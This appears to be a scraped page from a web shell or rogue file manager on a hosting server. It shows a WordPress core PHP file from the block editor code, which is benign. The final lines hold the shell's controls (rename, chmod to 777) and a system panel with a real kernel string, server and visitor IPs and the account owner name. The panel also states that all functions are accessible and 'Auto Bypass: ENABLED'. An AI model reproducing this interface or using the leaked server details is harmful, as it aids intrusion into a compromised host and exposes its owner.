'slug__in' => array( $template_slug ) ) ); if ( ! empty( $current_template ) ) { $template_blocks = parse_blocks( $current_template[0]->content ); $post_content_block = wp_get_first_block( $template_blocks, 'core/post-content' ); if ( isset( $post_content_block['attrs'] ) ) { return $post_content_block['attrs']; } } return null; } /** * Returns the contextualized block editor settings for a selected editor context. * * @since 5.8.0 * * @param array $custom_settings Custom settings to use with the given editor type. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return array The contextualized block editor settings. */ function get_block_editor_settings( array $custom_settings, $block_editor_context ) { $editor_settings = array_merge( get_default_block_editor_settings(), array( 'allowedBlockTypes' => get_allowed_block_types( $block_editor_context ), 'blockCategories' => get_block_categories( $block_editor_context ), ), $custom_settings ); $editor_settings['__experimentalBlockBindingsSupportedAttributes'] = array(); foreach ( array_keys( WP_Block_Type_Registry::get_instance()->get_all_registered() ) as $block_type ) { $supported_block_attributes = get_block_bindings_supported_attributes( $block_type ); if ( ! empty( $supported_block_attributes ) ) { $editor_settings['__experimentalBlockBindingsSupportedAttributes'][ $block_type ] = $supported_block_attributes; } } $global_styles = array(); $presets = array( array( 'css' => 'variables', '__unstableType' => 'presets', 'isGlobalStyles' => true, ), array( 'css' => 'presets', '__unstableType' => 'presets', 'isGlobalStyles' => true, ), ); foreach ( $presets as $preset_style ) { $actual_css = wp_get_global_stylesheet( array( $preset_style['css'] ) ); if ( '' !== $actual_css ) { $preset_style['css'] = $actual_css; $global_styles[] = $preset_style; } } $block_classes = array( 'css' => 'styles', '__unstableType' => 'theme', 'isGlobalStyles' => true, ); $actual_css = wp_get_global_stylesheet( array( $block_classes['css'] ) ); if ( '' !== $actual_css ) { $block_classes['css'] = $actual_css; $global_styles[] = $block_classes; } // Get any additional css from the customizer and add it before global styles custom CSS. $global_styles[] = array( 'css' => wp_get_custom_css(), '__unstableType' => 'user', 'isGlobalStyles' => false, ); /* * Add the custom CSS as a separate stylesheet so any invalid CSS * entered by users does not break other global styles. */ $global_styles[] = array( 'css' => wp_get_global_stylesheet( array( 'custom-css' ) ), '__unstableType' => 'user', 'isGlobalStyles' => true, ); $editor_settings['styles'] = array_merge( $global_styles, get_block_editor_theme_styles() ); $editor_settings['__experimentalFeatures'] = wp_get_global_settings(); // These settings may need to be updated based on data coming from theme.json sources. if ( isset( $editor_settings['__experimentalFeatures']['color']['palette'] ) ) { $colors_by_origin = $editor_settings['__experimentalFeatures']['color']['palette']; $editor_settings['colors'] = $colors_by_origin['custom'] ?? $colors_by_origin['theme'] ?? $colors_by_origin['default']; } if ( isset( $editor_settings['__experimentalFeatures']['color']['gradients'] ) ) { $gradients_by_origin = $editor_settings['__experimentalFeatures']['color']['gradients']; $editor_settings['gradients'] = $gradients_by_origin['custom'] ?? $gradients_by_origin['theme'] ?? $gradients_by_origin['default']; } if ( isset( $editor_settings['__experimentalFeatures']['typography']['fontSizes'] ) ) { $font_sizes_by_origin = $editor_settings['__experimentalFeatures']['typography']['fontSizes']; $editor_settings['fontSizes'] = $font_sizes_by_origin['custom'] ?? $font_sizes_by_origin['theme'] ?? $font_sizes_by_origin['default']; } if ( isset( $editor_settings['__experimentalFeatures']['color']['custom'] ) ) { $editor_settings['disableCustomColors'] = ! $editor_settings['__experimentalFeatures']['color']['custom']; unset( $editor_settings['__experimentalFeatures']['color']['custom'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ) ) { $editor_settings['disableCustomGradients'] = ! $editor_settings['__experimentalFeatures']['color']['customGradient']; unset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ) ) { $editor_settings['disableCustomFontSizes'] = ! $editor_settings['__experimentalFeatures']['typography']['customFontSize']; unset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ) ) { $editor_settings['enableCustomLineHeight'] = $editor_settings['__experimentalFeatures']['typography']['lineHeight']; unset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['units'] ) ) { $editor_settings['enableCustomUnits'] = $editor_settings['__experimentalFeatures']['spacing']['units']; unset( $editor_settings['__experimentalFeatures']['spacing']['units'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ) ) { $editor_settings['enableCustomSpacing'] = $editor_settings['__experimentalFeatures']['spacing']['padding']; unset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] ) ) { $editor_settings['disableCustomSpacingSizes'] = ! $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize']; unset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['spacingSizes'] ) ) { $spacing_sizes_by_origin = $editor_settings['__experimentalFeatures']['spacing']['spacingSizes']; $editor_settings['spacingSizes'] = $spacing_sizes_by_origin['custom'] ?? $spacing_sizes_by_origin['theme'] ?? $spacing_sizes_by_origin['default']; } $editor_settings['__unstableResolvedAssets'] = _wp_get_iframed_editor_assets(); $editor_settings['__unstableIsBlockBasedTheme'] = wp_is_block_theme(); $editor_settings['localAutosaveInterval'] = 15; $editor_settings['disableLayoutStyles'] = current_theme_supports( 'disable-layout-styles' ); $editor_settings['__experimentalDiscussionSettings'] = array( 'commentOrder' => get_option( 'comment_order' ), 'commentsPerPage' => get_option( 'comments_per_page' ), 'defaultCommentsPage' => get_option( 'default_comments_page' ), 'pageComments' => get_option( 'page_comments' ), 'threadComments' => get_option( 'thread_comments' ), 'threadCommentsDepth' => get_option( 'thread_comments_depth' ), 'defaultCommentStatus' => get_option( 'default_comment_status' ), 'avatarURL' => get_avatar_url( '', array( 'size' => 96, 'force_default' => true, 'default' => get_option( 'avatar_default' ), ) ), ); $post_content_block_attributes = wp_get_post_content_block_attributes(); if ( isset( $post_content_block_attributes ) ) { $editor_settings['postContentAttributes'] = $post_content_block_attributes; } $editor_settings['canUpdateBlockBindings'] = current_user_can( 'edit_block_binding', $block_editor_context ); /** * Filters the settings to pass to the block editor for all editor type. * * @since 5.8.0 * * @param array $editor_settings Default editor settings. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $editor_settings = apply_filters( 'block_editor_settings_all', $editor_settings, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the settings to pass to the block editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_settings_all'} filter instead. * * @param array $editor_settings Default editor settings. * @param WP_Post $post Post being edited. */ $editor_settings = apply_filters_deprecated( 'block_editor_settings', array( $editor_settings, $post ), '5.8.0', 'block_editor_settings_all' ); } $editor_settings['canEditCSS'] = current_user_can( 'edit_css' ); return $editor_settings; } /** * Preloads common data used with the block editor by specifying an array of * REST API paths that will be preloaded for a given block editor context. * * @since 5.8.0 * * @global WP_Post $post Global post object. * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * @global WP_Styles $wp_styles The WP_Styles object for printing styles. * * @param (string|string[])[] $preload_paths List of paths to preload. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ function block_editor_rest_api_preload( array $preload_paths, $block_editor_context ) { global $post, $wp_scripts, $wp_styles; /** * Filters the array of REST API paths that will be used to preloaded common data for the block editor. * * @since 5.8.0 * * @param (string|string[])[] $preload_paths Array of paths to preload. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $preload_paths = apply_filters( 'block_editor_rest_api_preload_paths', $preload_paths, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $selected_post = $block_editor_context->post; /** * Filters the array of paths that will be preloaded. * * Preload common data by specifying an array of REST API paths that will be preloaded. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_rest_api_preload_paths'} filter instead. * * @param (string|string[])[] $preload_paths Array of paths to preload. * @param WP_Post $selected_post Post being edited. */ $preload_paths = apply_filters_deprecated( 'block_editor_preload_paths', array( $preload_paths, $selected_post ), '5.8.0', 'block_editor_rest_api_preload_paths' ); } if ( empty( $preload_paths ) ) { return; } /* * Ensure the global $post, $wp_scripts, and $wp_styles remain the same after * API data is preloaded. * Because API preloading can call the_content and other filters, plugins * can unexpectedly modify the global $post or enqueue assets which are not * intended for the block editor. */ $backup_global_post = ! empty( $post ) ? clone $post : $post; $backup_wp_scripts = ! empty( $wp_scripts ) ? clone $wp_scripts : $wp_scripts; $backup_wp_styles = ! empty( $wp_styles ) ? clone $wp_styles : $wp_styles; foreach ( $preload_paths as &$path ) { if ( is_string( $path ) && ! str_starts_with( $path, '/' ) ) { $path = '/' . $path; continue; } if ( is_array( $path ) && is_string( $path[0] ) && ! str_starts_with( $path[0], '/' ) ) { $path[0] = '/' . $path[0]; } } unset( $path ); $preload_data = array_reduce( $preload_paths, 'rest_preload_api_request', array() ); // Restore the global $post, $wp_scripts, and $wp_styles as they were before API preloading. $post = $backup_global_post; $wp_scripts = $backup_wp_scripts; $wp_styles = $backup_wp_styles; wp_add_inline_script( 'wp-api-fetch', sprintf( 'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );', wp_json_encode( $preload_data, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); } /** * Creates an array of theme styles to load into the block editor. * * @since 5.8.0 * * @global array $editor_styles * * @return array An array of theme styles for the block editor. */ function get_block_editor_theme_styles() { global $editor_styles; $styles = array(); if ( $editor_styles && current_theme_supports( 'editor-styles' ) ) { foreach ( $editor_styles as $style ) { if ( preg_match( '~^(https?:)?//~', $style ) ) { $response = wp_remote_get( $style ); if ( ! is_wp_error( $response ) ) { $styles[] = array( 'css' => wp_remote_retrieve_body( $response ), '__unstableType' => 'theme', 'isGlobalStyles' => false, ); } } else { $file = get_theme_file_path( $style ); if ( is_file( $file ) ) { $styles[] = array( 'css' => file_get_contents( $file ), 'baseURL' => get_theme_file_uri( $style ), '__unstableType' => 'theme', 'isGlobalStyles' => false, ); } } } } return $styles; } /** * Returns the classic theme supports settings for block editor. * * @since 6.2.0 * @since 6.6.0 Add support for 'editor-spacing-sizes' theme support. * * @return array The classic theme supports settings. */ function get_classic_theme_supports_block_editor_settings() { $theme_settings = array( 'disableCustomColors' => get_theme_support( 'disable-custom-colors' ), 'disableCustomFontSizes' => get_theme_support( 'disable-custom-font-sizes' ), 'disableCustomGradients' => get_theme_support( 'disable-custom-gradients' ), 'disableLayoutStyles' => get_theme_support( 'disable-layout-styles' ), 'enableCustomLineHeight' => get_theme_support( 'custom-line-height' ), 'enableCustomSpacing' => get_theme_support( 'custom-spacing' ), 'enableCustomUnits' => get_theme_support( 'custom-units' ), ); // Theme settings. $color_palette = current( (array) get_theme_support( 'editor-color-palette' ) ); if ( false !== $color_palette ) { $theme_settings['colors'] = $color_palette; } $font_sizes = current( (array) get_theme_support( 'editor-font-sizes' ) ); if ( false !== $font_sizes ) { $theme_settings['fontSizes'] = $font_sizes; } $gradient_presets = current( (array) get_theme_support( 'editor-gradient-presets' ) ); if ( false !== $gradient_presets ) { $theme_settings['gradients'] = $gradient_presets; } $spacing_sizes = current( (array) get_theme_support( 'editor-spacing-sizes' ) ); if ( false !== $spacing_sizes ) { $theme_settings['spacingSizes'] = $spacing_sizes; } return $theme_settings; } /** * Initialize site preview. * * This function sets IFRAME_REQUEST to true if the site preview parameter is set. * * @since 6.8.0 */ function wp_initialize_site_preview_hooks() { if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['wp_site_preview'] ) && 1 === (int) $_GET['wp_site_preview'] && current_user_can( 'edit_theme_options' ) ) { define( 'IFRAME_REQUEST', true ); } }
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64 Software: Apache PHP Version: 8.3.31 Protocol: HTTP/1.1 Server IP: 167.114.27.228 Your IP: 216.73.217.47 Mail: ON Curl: ON Owner: ipifapor MySQL: ON Disabled Functions: All functions are accessible Auto Bypass: ENABLED